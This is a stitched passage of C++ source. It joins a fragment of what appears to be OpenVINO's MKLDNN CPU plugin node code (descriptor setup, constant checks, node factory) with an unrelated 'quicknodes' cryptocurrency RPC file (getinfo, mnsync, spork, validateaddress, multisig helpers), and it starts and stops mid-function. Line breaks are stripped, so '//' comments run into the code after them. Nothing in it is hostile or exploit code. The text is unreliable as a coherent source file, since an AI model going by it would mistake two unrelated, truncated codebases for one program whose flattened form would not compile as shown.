&srcMemPtr = getParentEdgeAt(i)->getMemoryPtr(); if (!srcMemPtr || !srcMemPtr->GetPrimitivePtr()) THROW_IE_EXCEPTION << "Destination memory didn't allocate for node " << getName() << " from node " << getParentEdgeAt(i)->getParent()->getName() << "."; } std::vector<MKLDNNMemoryDesc> intDescs; for (auto &it : internalBlobDesc) intDescs.push_back(it(itpd, 0)); internalBlobMemory.clear(); for (size_t i = 0; i < internalBlobs.size(); i++) { const auto &internalBlob = internalBlobs[i]; auto create = [&] () { auto newDesc = MKLDNNMemoryDesc(internalBlob->getTensorDesc()); auto newFormat = newDesc.getFormat(); if (newFormat == mkldnn::memory::ncdhw) { newFormat = mkldnn::memory::goihw; } if (newFormat == mkldnn::memory::nchw) { newFormat = mkldnn::memory::oihw; } MKLDNNMemory memory{ engine }; memory.Create(MKLDNNMemoryDesc(newDesc.getDims(), newDesc.getDataType(), newFormat), internalBlob->buffer()); MKLDNNMemoryPtr _ptr = MKLDNNMemoryPtr(new MKLDNNMemory(engine)); _ptr->Create(intDescs[i]); _ptr->SetData(memory); return _ptr; }; MKLDNNMemoryPtr ptr; if (weightCache != nullptr) { const uint64_t data_hash = weightCache->GetHashFunc().hash( internalBlob->buffer(), internalBlob->byteSize()); const std::string string_hash = name + "_" + std::to_string(i) + "_" + std::to_string(internalBlob->byteSize()) + "_" + std::to_string(data_hash); ptr = weightCache->findOrCreate(string_hash, create); } else { ptr = create(); } internalBlobMemory.push_back(ptr); } } bool MKLDNNNode::isInplace() const { auto selected_pd = getSelectedPrimitiveDescriptor(); if (selected_pd == nullptr) THROW_IE_EXCEPTION << "Preferable primitive descriptor is not set."; auto config = selected_pd->getConfig(); for (auto &in : config.inConfs) if (in.inPlace >= 0) return true; for (auto &out : config.outConfs) if (out.inPlace >= 0) return true; return false; } bool MKLDNNNode::isConstant() { if (constant == ConstantType::Unknown) { std::vector<MKLDNNNodePtr> checkNodes; for (size_t i = 0; i < getChildEdges().size(); i++) { checkNodes.push_back(getChildEdgeAt(i)->getChild()); } while (constant != ConstantType::NoConst && !checkNodes.empty()) { constant = checkNodes.front()->checkConstant(LOOK_DOWN, checkNodes); checkNodes.erase(checkNodes.begin()); } if (constant != ConstantType::Const) { constant = ConstantType::Unknown; checkNodes.clear(); for (size_t i = 0; i < getParentEdges().size(); i++) { checkNodes.push_back(getParentEdgeAt(i)->getParent()); } while (constant != ConstantType::NoConst && !checkNodes.empty()) { constant = checkNodes.front()->checkConstant(LOOK_UP, checkNodes); checkNodes.erase(checkNodes.begin()); } } if (constant == ConstantType::Unknown) constant = ConstantType::NoConst; } return constant == ConstantType::Const; } MKLDNNNode::ConstantType MKLDNNNode::checkConstant(LOOK look, std::vector<MKLDNNNodePtr>& checkNodes) { if (constant == ConstantType::Unknown) { if (look == LOOK_DOWN) { for (size_t i = 0; i < getChildEdges().size(); i++) { if (std::find(checkNodes.begin(), checkNodes.end(), getChildEdgeAt(i)->getChild()) == checkNodes.end()) checkNodes.push_back(getChildEdgeAt(i)->getChild()); } } else { for (size_t i = 0; i < getParentEdges().size(); i++) { if (std::find(checkNodes.begin(), checkNodes.end(), getParentEdgeAt(i)->getParent()) == checkNodes.end()) checkNodes.push_back(getParentEdgeAt(i)->getParent()); } } } return constant; } void MKLDNNNode::addOriginalLayer(const InferenceEngine::CNNLayerPtr &layer) { if (!layer) return; if (originalLayers.empty()) { originalLayers = layer->name; } else { originalLayers += "," + layer->name; } } void MKLDNNNode::cleanup() { internalBlobs.clear(); cnnLayer.reset(); for (auto it : fusedWith) { it->cleanup(); } for (auto it : mergedWith) { it->cleanup(); } } const std::vector<impl_desc_type>& MKLDNNNode::getPrimitivesPriority() { std::vector<impl_desc_type> priorities = { impl_desc_type::unknown, impl_desc_type::jit_uni_dw, impl_desc_type::jit_uni_1x1, impl_desc_type::jit_uni, impl_desc_type::jit_avx512_dw, impl_desc_type::jit_avx512_1x1, impl_desc_type::jit_avx512, impl_desc_type::jit_avx2_dw, impl_desc_type::jit_avx2_1x1, impl_desc_type::jit_avx2, impl_desc_type::jit_avx_dw, impl_desc_type::jit_avx_1x1, impl_desc_type::jit_avx, impl_desc_type::jit_sse42_dw, impl_desc_type::jit_sse42_1x1, impl_desc_type::jit_sse42, impl_desc_type::gemm_any, impl_desc_type::gemm_blas, impl_desc_type::gemm_avx512, impl_desc_type::gemm_avx2, impl_desc_type::gemm_avx, impl_desc_type::gemm_sse42, impl_desc_type::jit_gemm, impl_desc_type::ref_any, impl_desc_type::ref, }; for (const auto& impl : priorities) { if (std::find(implPriorities.begin(), implPriorities.end(), impl) == implPriorities.end()) implPriorities.push_back(impl); } return implPriorities; } bool MKLDNNNode::isUninitTensorDesc(const InferenceEngine::TensorDesc& desc) const { if (desc.getLayout() == InferenceEngine::Layout::ANY) return true; if (desc.getBlockingDesc().getOffsetPadding() == std::numeric_limits<size_t>::max()) return true; for (size_t i = 0; i < desc.getBlockingDesc().getOrder().size(); i++) { if (desc.getBlockingDesc().getOffsetPaddingToData()[i] == std::numeric_limits<size_t>::max() || desc.getBlockingDesc().getStrides()[i] == std::numeric_limits<size_t>::max()) return true; } return false; } InferenceEngine::TensorDesc MKLDNNNode::getConfiguredInputDesc(const InferenceEngine::LayerConfig& config, size_t idx) const { if (!isUninitTensorDesc(config.inConfs[idx].desc)) return config.inConfs[idx].desc; int num = getParentEdgeAt(idx)->getInputNum(); auto *selectedPD = getParentEdgeAt(idx)->getParent()->getSelectedPrimitiveDescriptor(); if (!selectedPD) THROW_IE_EXCEPTION << "Cannot get selected primitive descriptor for node: " << getParentEdgeAt(idx)->getParent()->getName(); if (selectedPD->getConfig().outConfs.size() <= num) num = 0; if (config.inConfs[idx].inPlace >= 0) { return getConfiguredOutputDesc(config, static_cast<size_t>(config.inConfs[idx].inPlace)); } if (num >= 0) { auto parentConf = selectedPD->getConfig().outConfs[num]; parentConf.desc.setPrecision(config.inConfs[idx].desc.getPrecision()); if (isUninitTensorDesc(parentConf.desc) && parentConf.inPlace >= 0) getParentEdgeAt(idx)->getParent()->initOptimalPrimitiveDescriptor(); parentConf = getParentEdgeAt(idx)->getParent()->getSelectedPrimitiveDescriptor()->getConfig().outConfs[num]; if (!isUninitTensorDesc(parentConf.desc) && MKLDNNExtensionUtils::initTensorsAreEqual(parentConf.desc, config.inConfs[idx].desc)) { return parentConf.desc; } if (config.inConfs[idx].desc.getLayout() == InferenceEngine::Layout::ANY && parentConf.desc.getLayout() != InferenceEngine::Layout::ANY) { return InferenceEngine::TensorDesc(parentConf.desc.getPrecision(), parentConf.desc.getDims(), { parentConf.desc.getBlockingDesc().getBlockDims(), parentConf.desc.getBlockingDesc().getOrder() }); } } if (config.inConfs[idx].desc.getLayout() != InferenceEngine::Layout::ANY) { return InferenceEngine::TensorDesc(config.inConfs[idx].desc.getPrecision(), config.inConfs[idx].desc.getDims(), { config.inConfs[idx].desc.getBlockingDesc().getBlockDims(), config.inConfs[idx].desc.getBlockingDesc().getOrder() }); } return InferenceEngine::TensorDesc(config.inConfs[idx].desc.getPrecision(), config.inConfs[idx].desc.getDims(), InferenceEngine::TensorDesc::getLayoutByDims(config.inConfs[idx].desc.getDims())); } InferenceEngine::TensorDesc MKLDNNNode::getConfiguredOutputDesc(const InferenceEngine::LayerConfig& config, size_t idx) const { if (!isUninitTensorDesc(config.outConfs[idx].desc)) return config.outConfs[idx].desc; int num = getChildEdgeAt(idx)->getOutputNum(); auto *selectedPD = getChildEdgeAt(idx)->getChild()->getSelectedPrimitiveDescriptor(); if (!selectedPD) THROW_IE_EXCEPTION << "Cannot get selected primitive descriptor for node: " << getChildEdgeAt(idx)->getChild()->getName(); if (selectedPD->getConfig().inConfs.size() <= num) num = 0; if (config.outConfs[idx].inPlace >= 0) { return getConfiguredInputDesc(config, static_cast<size_t>(config.outConfs[idx].inPlace)); } if (num >= 0) { auto childConf = selectedPD->getConfig().inConfs[num]; childConf.desc.setPrecision(config.outConfs[idx].desc.getPrecision()); if (isUninitTensorDesc(childConf.desc) && childConf.inPlace >= 0) getChildEdgeAt(idx)->getChild()->initOptimalPrimitiveDescriptor(); childConf = getChildEdgeAt(idx)->getChild()->getSelectedPrimitiveDescriptor()->getConfig().inConfs[num]; if (!isUninitTensorDesc(childConf.desc) && MKLDNNExtensionUtils::initTensorsAreEqual(childConf.desc, config.outConfs[idx].desc)) { return childConf.desc; } if (config.outConfs[idx].desc.getLayout() == InferenceEngine::Layout::ANY && childConf.desc.getLayout() != InferenceEngine::Layout::ANY) { return InferenceEngine::TensorDesc(childConf.desc.getPrecision(), childConf.desc.getDims(), { childConf.desc.getBlockingDesc().getBlockDims(), childConf.desc.getBlockingDesc().getOrder() }); } } if (config.outConfs[idx].desc.getLayout() != InferenceEngine::Layout::ANY) { return InferenceEngine::TensorDesc(config.outConfs[idx].desc.getPrecision(), config.outConfs[idx].desc.getDims(), { config.outConfs[idx].desc.getBlockingDesc().getBlockDims(), config.outConfs[idx].desc.getBlockingDesc().getOrder() }); } return InferenceEngine::TensorDesc(config.outConfs[idx].desc.getPrecision(), config.outConfs[idx].desc.getDims(), InferenceEngine::TensorDesc::getLayoutByDims(config.outConfs[idx].desc.getDims())); } void MKLDNNNode::initOptimalPrimitiveDescriptor() { auto selected_pd = getSelectedPrimitiveDescriptor(); if (selected_pd == nullptr) THROW_IE_EXCEPTION << "Preferable primitive descriptor is not set."; auto config = selected_pd->getConfig(); if (!isInitConfig(config)) { for (size_t i = 0; i < config.inConfs.size(); i++) { // TensorDescriptor constructor which is called inside getConfiguredInputDesc incorrectly computes offset field. // What's why MKLDNNMemoryDesc routine is used to reinitialize TD with expected offset values. config.inConfs[i].desc = MKLDNNMemoryDesc(getConfiguredInputDesc(config, i)); } for (size_t i = 0; i < config.outConfs.size(); i++) { // TensorDescriptor constructor which is called inside getConfiguredOutputDesc incorrectly computes offset field. // What's why MKLDNNMemoryDesc routine is used to reinitialize TD with expected offset values. config.outConfs[i].desc = MKLDNNMemoryDesc(getConfiguredOutputDesc(config, i)); } initDescriptor(config); } else if (getType() != RNNSeq && getType() != RNNCell) { initDescriptor(config); } } bool MKLDNNNode::isInitConfig(const InferenceEngine::LayerConfig& config) const { for (const auto& configs : {config.inConfs, config.outConfs}) { for (const auto &dc : configs) { if (isUninitTensorDesc(dc.desc)) return false; } } return true; } MKLDNNMemoryDesc MKLDNNNode::getSrcMemDesc(mkldnn::primitive_desc_iterator &primitive_desc_it, size_t idx) { InferenceEngine::TensorDesc desc = MKLDNNMemoryDesc(primitive_desc_it.src_primitive_desc(idx).desc()); if (desc.getLayout() == InferenceEngine::Layout::ANY) return MKLDNNMemoryDesc(InferenceEngine::TensorDesc(desc.getPrecision(), getParentEdgeAt(idx)->getDims().ToSizeVector(), desc.getLayout())); else return MKLDNNMemoryDesc(InferenceEngine::TensorDesc(desc.getPrecision(), getParentEdgeAt(idx)->getDims().ToSizeVector(), desc.getBlockingDesc())); } MKLDNNMemoryDesc MKLDNNNode::getDstMemDesc(mkldnn::primitive_desc_iterator &primitive_desc_it, size_t idx) { InferenceEngine::TensorDesc desc = MKLDNNMemoryDesc(primitive_desc_it.dst_primitive_desc(idx).desc()); if (desc.getLayout() == InferenceEngine::Layout::ANY) return MKLDNNMemoryDesc(InferenceEngine::TensorDesc(desc.getPrecision(), getChildEdgeAt(idx)->getDims().ToSizeVector(), desc.getLayout())); else return MKLDNNMemoryDesc(InferenceEngine::TensorDesc(desc.getPrecision(), getChildEdgeAt(idx)->getDims().ToSizeVector(), desc.getBlockingDesc())); } int MKLDNNNode::batchToProcess() { return dynBatchLim == 0 ? getMaxBatch() : std::min<int>(getMaxBatch(), dynBatchLim); } int MKLDNNNode::getMaxBatch() { // FIXME: batch != 0 dims number if (!inDims.empty()) { if (inDims[0].ndims()) return inDims[0][0]; else return 1; } if (!outDims.empty() && outDims[0].ndims()) { if (outDims[0].ndims()) return outDims[0][0]; else return 1; } return 0; } void MKLDNNNode::setDynamicBatchLim(int lim) { dynBatchLim = lim; if (prim) { prim.setBatchLimit(batchToProcess(), getParentEdges().size(), getChildEdges().size()); } } bool MKLDNNNode::isFusedWith(Type fusedNodeType) const { for (auto fusedNode : fusedWith) { if (fusedNode->type == fusedNodeType) return true; } return false; } Layout MKLDNNNode::getWeightsLayoutByDims(SizeVector dims, bool isGrouped) { switch (dims.size()) { case 0: return Layout::SCALAR; case 1: return Layout::C; case 2: return Layout::NC; case 3: return Layout::CHW; case 4: return Layout::OIHW; case 5: return isGrouped ? Layout::GOIHW : Layout::OIDHW; case 6: return isGrouped ? Layout::GOIDHW : Layout::BLOCKED; default: return Layout::BLOCKED; } } void MKLDNNNode::appendPostOps(mkldnn::post_ops& ops) { THROW_IE_EXCEPTION << "Fusing of " << this->getType() << " operation is not implemented"; } MKLDNNNode* MKLDNNNode::Factory::create(const InferenceEngine::CNNLayerPtr& layer, const mkldnn::engine& eng, const MKLDNNExtensionManager::Ptr& extMgr, MKLDNNWeightsSharing::Ptr &w_cache) { MKLDNNNode *newNode = nullptr; auto builder = builders.find(Generic); if (builder != builders.end()) { std::unique_ptr<MKLDNNNode> ol(builder->second(layer, eng, w_cache)); if (ol != nullptr && ol->created(extMgr)) newNode = ol.release(); } if (newNode == nullptr) { builder = builders.find(TypeFromName(layer->type)); if (builder != builders.end()) { std::unique_ptr<MKLDNNNode> ol(builder->second(layer, eng, w_cache)); if (ol != nullptr && ol->created(extMgr)) newNode = ol.release(); } } // WA-start : TI node requires all attributes to construct internal subgpath // including extManager, socket and mkldnn::eng. #if defined (COMPILED_CPU_MKLDNN_TENSORITERATOR_NODE) MKLDNNTensorIteratorNode *ti = dynamic_cast<MKLDNNTensorIteratorNode*>(newNode); if (ti != nullptr) ti->setExtManager(extMgr); #endif // WA-end if (!newNode) THROW_IE_EXCEPTION << "Unsupported primitive of type: " << layer->type << " name: " << layer->name; return newNode; } void MKLDNNNode::Factory::registerNode(Type type, builder_t builder) { builders[type] = builder; }
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2017 The PIVX developers // Copyright (c) 2017-2018 The quicknodes developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "base58.h" #include "clientversion.h" #include "init.h" #include "main.h" #include "masternode-sync.h" #include "net.h" #include "netbase.h" #include "rpcserver.h" #include "spork.h" #include "timedata.h" #include "util.h" #ifdef ENABLE_WALLET #include "wallet.h" #include "walletdb.h" #endif #include <stdint.h> #include "json/json_spirit_utils.h" #include "json/json_spirit_value.h" #include <boost/assign/list_of.hpp> using namespace boost; using namespace boost::assign; using namespace json_spirit; using namespace std; /** * @note Do not add or change anything in the information returned by this * method. `getinfo` exists for backwards-compatibility only. It combines * information from wildly different sources in the program, which is a mess, * and is thus planned to be deprecated eventually. * * Based on the source of the information, new information should be added to: * - `getblockchaininfo`, * - `getnetworkinfo` or * - `getwalletinfo` * * Or alternatively, create a specific query method for the information. **/ Value getinfo(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getinfo\n" "Returns an object containing various state info.\n" "\nResult:\n" "{\n" " \"version\": xxxxx, (numeric) the server version\n" " \"protocolversion\": xxxxx, (numeric) the protocol version\n" " \"walletversion\": xxxxx, (numeric) the wallet version\n" " \"balance\": xxxxxxx, (numeric) the total quicknodes balance of the wallet (excluding zerocoins)\n" " \"zerocoinbalance\": xxxxxxx, (numeric) the total zerocoin balance of the wallet\n" " \"blocks\": xxxxxx, (numeric) the current number of blocks processed in the server\n" " \"timeoffset\": xxxxx, (numeric) the time offset\n" " \"connections\": xxxxx, (numeric) the number of connections\n" " \"proxy\": \"host:port\", (string, optional) the proxy used by the server\n" " \"difficulty\": xxxxxx, (numeric) the current difficulty\n" " \"testnet\": true|false, (boolean) if the server is using testnet or not\n" " \"moneysupply\" : \"supply\" (numeric) The money supply when this block was added to the blockchain\n" " \"collateral\": \"xxxxxxx\" masternode collateral\n" " \"zqnssupply\" :\n" " {\n" " \"1\" : n, (numeric) supply of 1 zqns denomination\n" " \"5\" : n, (numeric) supply of 5 zqns denomination\n" " \"10\" : n, (numeric) supply of 10 zqns denomination\n" " \"50\" : n, (numeric) supply of 50 zqns denomination\n" " \"100\" : n, (numeric) supply of 100 zqns denomination\n" " \"500\" : n, (numeric) supply of 500 zqns denomination\n" " \"1000\" : n, (numeric) supply of 1000 zqns denomination\n" " \"5000\" : n, (numeric) supply of 5000 zqns denomination\n" " \"total\" : n, (numeric) The total supply of all zqns denominations\n" " }\n" " \"keypoololdest\": xxxxxx, (numeric) the timestamp (seconds since GMT epoch) of the oldest pre-generated key in the key pool\n" " \"keypoolsize\": xxxx, (numeric) how many new keys are pre-generated\n" " \"unlocked_until\": ttt, (numeric) the timestamp in seconds since epoch (midnight Jan 1 1970 GMT) that the wallet is unlocked for transfers, or 0 if the wallet is locked\n" " \"paytxfee\": x.xxxx, (numeric) the transaction fee set in quicknodes/kb\n" " \"relayfee\": x.xxxx, (numeric) minimum relay fee for non-free transactions in quicknodes/kb\n" " \"staking status\": true|false, (boolean) if the wallet is staking or not\n" " \"errors\": \"...\" (string) any error messages\n" "}\n" "\nExamples:\n" + HelpExampleCli("getinfo", "") + HelpExampleRpc("getinfo", "")); proxyType proxy; GetProxy(NET_IPV4, proxy); Object obj; obj.push_back(Pair("version", CLIENT_VERSION)); obj.push_back(Pair("protocolversion", PROTOCOL_VERSION)); #ifdef ENABLE_WALLET if (pwalletMain) { obj.push_back(Pair("walletversion", pwalletMain->GetVersion())); obj.push_back(Pair("balance", ValueFromAmount(pwalletMain->GetBalance()))); obj.push_back(Pair("zerocoinbalance", ValueFromAmount(pwalletMain->GetZerocoinBalance(true)))); } #endif obj.push_back(Pair("blocks", (int)chainActive.Height())); obj.push_back(Pair("timeoffset", GetTimeOffset())); obj.push_back(Pair("connections", (int)vNodes.size())); obj.push_back(Pair("proxy", (proxy.IsValid() ? proxy.proxy.ToStringIPPort() : string()))); obj.push_back(Pair("difficulty", (double)GetDifficulty())); obj.push_back(Pair("testnet", Params().TestnetToBeDeprecatedFieldRPC())); obj.push_back(Pair("moneysupply",ValueFromAmount(chainActive.Tip()->nMoneySupply))); obj.push_back(Pair("collateral", GetMstrNodCollateral((int)chainActive.Height()))); Object zquicknodesObj; for (auto denom : libzerocoin::zerocoinDenomList) { zquicknodesObj.push_back(Pair(to_string(denom), ValueFromAmount(chainActive.Tip()->mapZerocoinSupply.at(denom) * (denom*COIN)))); } zquicknodesObj.emplace_back(Pair("total", ValueFromAmount(chainActive.Tip()->GetZerocoinSupply()))); obj.emplace_back(Pair("zqnssupply", zquicknodesObj)); #ifdef ENABLE_WALLET if (pwalletMain) { obj.push_back(Pair("keypoololdest", pwalletMain->GetOldestKeyPoolTime())); obj.push_back(Pair("keypoolsize", (int)pwalletMain->GetKeyPoolSize())); } if (pwalletMain && pwalletMain->IsCrypted()) obj.push_back(Pair("unlocked_until", nWalletUnlockTime)); obj.push_back(Pair("paytxfee", ValueFromAmount(payTxFee.GetFeePerK()))); #endif obj.push_back(Pair("relayfee", ValueFromAmount(::minRelayTxFee.GetFeePerK()))); bool nStaking = false; if (mapHashedBlocks.count(chainActive.Tip()->nHeight)) nStaking = true; else if (mapHashedBlocks.count(chainActive.Tip()->nHeight - 1) && nLastCoinStakeSearchInterval) nStaking = true; obj.push_back(Pair("staking status", (nStaking ? "Staking Active" : "Staking Not Active"))); obj.push_back(Pair("errors", GetWarnings("statusbar"))); return obj; } Value mnsync(const Array& params, bool fHelp) { std::string strMode; if (params.size() == 1) strMode = params[0].get_str(); if (fHelp || params.size() != 1 || (strMode != "status" && strMode != "reset")) { throw runtime_error( "mnsync \"status|reset\"\n" "\nReturns the sync status or resets sync.\n" "\nArguments:\n" "1. \"mode\" (string, required) either 'status' or 'reset'\n" "\nResult ('status' mode):\n" "{\n" " \"IsBlockchainSynced\": true|false, (boolean) 'true' if blockchain is synced\n" " \"lastMasternodeList\": xxxx, (numeric) Timestamp of last MN list message\n" " \"lastMasternodeWinner\": xxxx, (numeric) Timestamp of last MN winner message\n" " \"lastBudgetItem\": xxxx, (numeric) Timestamp of last MN budget message\n" " \"lastFailure\": xxxx, (numeric) Timestamp of last failed sync\n" " \"nCountFailures\": n, (numeric) Number of failed syncs (total)\n" " \"sumMasternodeList\": n, (numeric) Number of MN list messages (total)\n" " \"sumMasternodeWinner\": n, (numeric) Number of MN winner messages (total)\n" " \"sumBudgetItemProp\": n, (numeric) Number of MN budget messages (total)\n" " \"sumBudgetItemFin\": n, (numeric) Number of MN budget finalization messages (total)\n" " \"countMasternodeList\": n, (numeric) Number of MN list messages (local)\n" " \"countMasternodeWinner\": n, (numeric) Number of MN winner messages (local)\n" " \"countBudgetItemProp\": n, (numeric) Number of MN budget messages (local)\n" " \"countBudgetItemFin\": n, (numeric) Number of MN budget finalization messages (local)\n" " \"RequestedMasternodeAssets\": n, (numeric) Status code of last sync phase\n" " \"RequestedMasternodeAttempt\": n, (numeric) Status code of last sync attempt\n" "}\n" "\nResult ('reset' mode):\n" "\"status\" (string) 'success'\n" "\nExamples:\n" + HelpExampleCli("mnsync", "\"status\"") + HelpExampleRpc("mnsync", "\"status\"")); } if (strMode == "status") { Object obj; obj.push_back(Pair("IsBlockchainSynced", masternodeSync.IsBlockchainSynced())); obj.push_back(Pair("lastMasternodeList", masternodeSync.lastMasternodeList)); obj.push_back(Pair("lastMasternodeWinner", masternodeSync.lastMasternodeWinner)); obj.push_back(Pair("lastBudgetItem", masternodeSync.lastBudgetItem)); obj.push_back(Pair("lastFailure", masternodeSync.lastFailure)); obj.push_back(Pair("nCountFailures", masternodeSync.nCountFailures)); obj.push_back(Pair("sumMasternodeList", masternodeSync.sumMasternodeList)); obj.push_back(Pair("sumMasternodeWinner", masternodeSync.sumMasternodeWinner)); obj.push_back(Pair("sumBudgetItemProp", masternodeSync.sumBudgetItemProp)); obj.push_back(Pair("sumBudgetItemFin", masternodeSync.sumBudgetItemFin)); obj.push_back(Pair("countMasternodeList", masternodeSync.countMasternodeList)); obj.push_back(Pair("countMasternodeWinner", masternodeSync.countMasternodeWinner)); obj.push_back(Pair("countBudgetItemProp", masternodeSync.countBudgetItemProp)); obj.push_back(Pair("countBudgetItemFin", masternodeSync.countBudgetItemFin)); obj.push_back(Pair("RequestedMasternodeAssets", masternodeSync.RequestedMasternodeAssets)); obj.push_back(Pair("RequestedMasternodeAttempt", masternodeSync.RequestedMasternodeAttempt)); return obj; } if (strMode == "reset") { masternodeSync.Reset(); return "success"; } return "failure"; } #ifdef ENABLE_WALLET class DescribeAddressVisitor : public boost::static_visitor<Object> { private: isminetype mine; public: DescribeAddressVisitor(isminetype mineIn) : mine(mineIn) {} Object operator()(const CNoDestination& dest) const { return Object(); } Object operator()(const CKeyID& keyID) const { Object obj; CPubKey vchPubKey; obj.push_back(Pair("isscript", false)); if (mine == ISMINE_SPENDABLE) { pwalletMain->GetPubKey(keyID, vchPubKey); obj.push_back(Pair("pubkey", HexStr(vchPubKey))); obj.push_back(Pair("iscompressed", vchPubKey.IsCompressed())); } return obj; } Object operator()(const CScriptID& scriptID) const { Object obj; obj.push_back(Pair("isscript", true)); if (mine != ISMINE_NO) { CScript subscript; pwalletMain->GetCScript(scriptID, subscript); std::vector<CTxDestination> addresses; txnouttype whichType; int nRequired; ExtractDestinations(subscript, whichType, addresses, nRequired); obj.push_back(Pair("script", GetTxnOutputType(whichType))); obj.push_back(Pair("hex", HexStr(subscript.begin(), subscript.end()))); Array a; BOOST_FOREACH (const CTxDestination& addr, addresses) a.push_back(CBitcoinAddress(addr).ToString()); obj.push_back(Pair("addresses", a)); if (whichType == TX_MULTISIG) obj.push_back(Pair("sigsrequired", nRequired)); } return obj; } }; #endif /* Used for updating/reading spork settings on the network */ Value spork(const Array& params, bool fHelp) { if (params.size() == 1 && params[0].get_str() == "show") { Object ret; for (int nSporkID = SPORK_START; nSporkID <= SPORK_END; nSporkID++) { if (sporkManager.GetSporkNameByID(nSporkID) != "Unknown") ret.push_back(Pair(sporkManager.GetSporkNameByID(nSporkID), GetSporkValue(nSporkID))); } return ret; } else if (params.size() == 1 && params[0].get_str() == "active") { Object ret; for (int nSporkID = SPORK_START; nSporkID <= SPORK_END; nSporkID++) { if (sporkManager.GetSporkNameByID(nSporkID) != "Unknown") ret.push_back(Pair(sporkManager.GetSporkNameByID(nSporkID), IsSporkActive(nSporkID))); } return ret; } else if (params.size() == 2) { int nSporkID = sporkManager.GetSporkIDByName(params[0].get_str()); if (nSporkID == -1) { return "Invalid spork name"; } // SPORK VALUE int64_t nValue = params[1].get_int(); //broadcast new spork if (sporkManager.UpdateSpork(nSporkID, nValue)) { return "success"; } else { return "failure"; } } throw runtime_error( "spork <name> [<value>]\n" "<name> is the corresponding spork name, or 'show' to show all current spork settings, active to show which sporks are active" "<value> is a epoch datetime to enable or disable spork" + HelpRequiringPassphrase()); } Value validateaddress(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "validateaddress \"quicknodesaddress\"\n" "\nReturn information about the given quicknodes address.\n" "\nArguments:\n" "1. \"quicknodesaddress\" (string, required) The quicknodes address to validate\n" "\nResult:\n" "{\n" " \"isvalid\" : true|false, (boolean) If the address is valid or not. If not, this is the only property returned.\n" " \"address\" : \"quicknodesaddress\", (string) The quicknodes address validated\n" " \"ismine\" : true|false, (boolean) If the address is yours or not\n" " \"isscript\" : true|false, (boolean) If the key is a script\n" " \"pubkey\" : \"publickeyhex\", (string) The hex value of the raw public key\n" " \"iscompressed\" : true|false, (boolean) If the address is compressed\n" " \"account\" : \"account\" (string) The account associated with the address, \"\" is the default account\n" "}\n" "\nExamples:\n" + HelpExampleCli("validateaddress", "\"1PSSGeFHDnKNxiEyFrD1wcEaHr9hrQDDWc\"") + HelpExampleRpc("validateaddress", "\"1PSSGeFHDnKNxiEyFrD1wcEaHr9hrQDDWc\"")); CBitcoinAddress address(params[0].get_str()); bool isValid = address.IsValid(); Object ret; ret.push_back(Pair("isvalid", isValid)); if (isValid) { CTxDestination dest = address.Get(); string currentAddress = address.ToString(); ret.push_back(Pair("address", currentAddress)); #ifdef ENABLE_WALLET isminetype mine = pwalletMain ? IsMine(*pwalletMain, dest) : ISMINE_NO; ret.push_back(Pair("ismine", (mine & ISMINE_SPENDABLE) ? true : false)); if (mine != ISMINE_NO) { ret.push_back(Pair("iswatchonly", (mine & ISMINE_WATCH_ONLY) ? true : false)); Object detail = boost::apply_visitor(DescribeAddressVisitor(mine), dest); ret.insert(ret.end(), detail.begin(), detail.end()); } if (pwalletMain && pwalletMain->mapAddressBook.count(dest)) ret.push_back(Pair("account", pwalletMain->mapAddressBook[dest].name)); #endif } return ret; } /** * Used by addmultisigaddress / createmultisig: */ CScript _createmultisig_redeemScript(const Array& params) { int nRequired = params[0].get_int(); const Array& keys = params[1].get_array(); // Gather public keys if (nRequired < 1) throw runtime_error("a multisignature address must require at least one key to redeem"); if ((int)keys.size() < nRequired) throw runtime_error( strprintf("not enough keys supplied " "(got %u keys, but need at least %d to redeem)", keys.size(), nRequired)); if (keys.size() > 16) throw runtime_error("Number of addresses involved in the multisignature address creation > 16\nReduce the number"); std::vector<CPubKey> pubkeys; pubkeys.resize(keys.size()); for (unsigned int i = 0; i < keys.size(); i++) { const std::string& ks = keys[i].get_str(); #ifdef ENABLE_WALLET // Case 1: quicknodes address and we have full public key: CBitcoinAddress address(ks); if (pwalletMain && address.IsValid()) { CKeyID keyID; if (!address.GetKeyID(keyID)) throw runtime_error( strprintf("%s does not refer to a key", ks)); CPubKey vchPubKey; if (!pwalletMain->GetPubKey(keyID, vchPubKey)) throw runtime_error( strprintf("no full public key for address %s", ks)); if (!vchPubKey.IsFullyValid()) throw runtime_error(" Invalid public key: " + ks); pubkeys[i] = vchPubKey; } // Case 2: hex public key else #endif if (IsHex(ks)) { CPubKey vchPubKey(ParseHex(ks)); if (!vchPubKey.IsFullyValid()) throw runtime_error(" Invalid public key: " + ks); pubkeys[i] = vchPubKey; } else { throw runtime_error(" Invalid public key: " + ks); } } CScript result = GetScriptForMultisig(nRequired, pubkeys); if (result.size() > MAX_SCRIPT_ELEMENT_SIZE) throw runtime_error( strprintf("redeemScript exceeds size limit: %d > %d", result.size(), MAX_SCRIPT_ELEMENT_SIZE)); return result; } Value createmultisig(const Array& params, bool fHelp) { if (fHelp || params.size() < 2 || params.size() > 2) { string msg = "createmultisig nrequired [\"key\",...]\n" "\nCreates a multi-signature address with n signature of m keys required.\n" "It returns a json object with the address and redeemScript.\n" "\nArguments:\n" "1. nrequired (numeric, required) The number of required signatures out of the n keys or addresses.\n" "2. \"keys\" (string, required) A json array of keys which are quicknodes addresses or hex-encoded public keys\n" " [\n" " \"key\" (string) quicknodes address or hex-encoded public key\n" " ,...\n" " ]\n" "\nResult:\n" "{\n" " \"address\":\"multisigaddress\", (string) The value of the new multisig address.\n" " \"redeemScript\":\"script\" (string) The string value of the hex-encoded redemption script.\n" "}\n" "\nExamples:\n" "\nCreate a multisig address from 2 addresses\n" + HelpExampleCli("createmultisig", "2 \"[\\\"16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\\\",\\\"171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\\\"]\"") + "\nAs a json rpc call\n" + HelpExampleRpc("createmultisig", "2, \"[\\\"16sSauSf5pF2UkUwvKGq4qjNRzBZYqgEL5\\\",\\\"171sgjn4YtPu27adkKGrdDwzRTxnRkBfKV\\\"]\""); throw runtime_error(msg); } // Construct using pay-to-script-hash: CScript inner = _createmultisig_redeemScript(params); CScriptID innerID(inner); CBitcoinAddress address(innerID); Object result; 